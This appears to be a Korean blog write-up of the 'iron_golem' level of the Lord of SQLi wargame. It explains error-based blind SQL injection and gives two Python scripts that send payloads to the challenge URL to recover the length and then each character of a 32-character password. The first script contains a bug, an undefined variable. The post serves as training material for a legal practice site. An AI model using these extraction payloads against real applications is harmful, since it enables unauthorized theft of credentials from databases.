21. LOS - IRON_GOLEN

2021. 2. 2. 17:49WarGame/LOS

처음 접한 error based sqlinjection 이였습니다.

if문에서 조건문에 거짓이 나오면 error을 출력하게해서 풀리는 구조의 문제입니다.

처음 쿼리가 이렇게 구성되어있고,

sleep과, benchmark 가 벤이 되어있으므로 timebased가 아니라고 생각하였고,

'를 잘못입력했는데 에러가 출력되어서 error based인것을 확인했습니다.

import requests
import string

cookies = {'PHPSESSID': '41dujejs6ln5lnj8ni9p7ik5bb'}
#https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=12%27%20or%20substr(pw,1,1)%20=%20%22a%22--%20-
key = ""
for i in range(1, 100) :
    URL = "https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw=1%27%20or%20if(length(pw)=" + str(i) + ",1,(select%201%20union%20select%202))%20--%20-"
    response = requests.get(URL, cookies=cookies)
    print(i)
    if "Subquery" not in response.text :
        print(URL)
        key += j
        print("[" + str(i) + "]th password :  " + j)
        break;
print(key)

해당 payload의 자리수 (32)를 확인했고,

 

import requests
import string


num_alpa = string.digits + string.ascii_letters
cookies = {'PHPSESSID': '41dujejs6ln5lnj8ni9p7ik5bb'}
#https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=12%27%20or%20substr(pw,1,1)%20=%20%22a%22--%20-
key = ""
print(num_alpa)
for i in range(1, 33) :
    for j in num_alpa :
        URL = "https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw=1%27%20or%20if(substr(pw," + str(i)+",1)%20=%20\"" + str(j) + "\",1,(select%201%20union%20select%202))%20--%20-"
        response = requests.get(URL, cookies=cookies)
        if "Subquery" not in response.text :
            print(URL)
            key += j
            print("[" + str(i) + "]th password :  " + j)
            break;
print(key)

 

해당 payload 로 32자리 비밀번호를 확인했습니다.

 



확인한 비밀번호를 입력하면

 

 

풀립니다(grin)

error_based에 대한 기본적인 지식을 습득할 수 있어서 굉장히 좋은 문제였습니다.

'WarGame > LOS' 카테고리의 다른 글

22. LOS - dark_eyes  (0) 2021.02.03
20. LOS - DRAGON  (0) 2021.02.01
19. LOS - XAVIS  (0) 2021.01.31
18. LOS - NIGHTMARE  (0) 2021.01.30
17. LOS - zombie_assassin  (0) 2021.01.30